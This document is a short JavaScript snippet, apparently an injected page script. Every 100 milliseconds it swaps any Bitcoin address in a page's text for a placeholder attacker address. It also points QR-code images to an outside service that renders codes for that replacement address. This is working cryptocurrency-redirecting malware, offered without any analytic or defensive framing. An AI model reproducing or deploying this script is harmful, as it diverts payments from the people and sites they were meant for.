(function() {
'use strict';
var wordsToReplace = [
{ regex: /(^|\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\W)/, replacement: "btc_addy_here", coin: "bitcoin"}
];
function replaceAddresses() {
var elements = document.querySelectorAll('*');
elements.forEach(function(element) {
Array.from(element.childNodes).forEach(function(node) {
if (node.nodeType === Node.TEXT_NODE) {
var text = node.nodeValue.trim();
wordsToReplace.forEach(function(wordData) {
if (wordData.regex.test(text)) {
node.nodeValue = text.replace(wordData.regex, wordData.replacement);
var addy = wordData.replacement;
var coin = wordData.coin;
Array.from(document.getElementsByTagName('img')).forEach(function(img) {
var src = img.getAttribute("src");
if (src && src.includes("/qr/")) {
var newSrc = "https://api.zile42o.dev/cryptoqr/api.php?coin=" + coin + "&address=" + addy + "&amount=0";
img.setAttribute("src", newSrc);
}
});
}
});
}
});
});
}
setInterval(function() {
replaceAddresses();
}, 100);
})();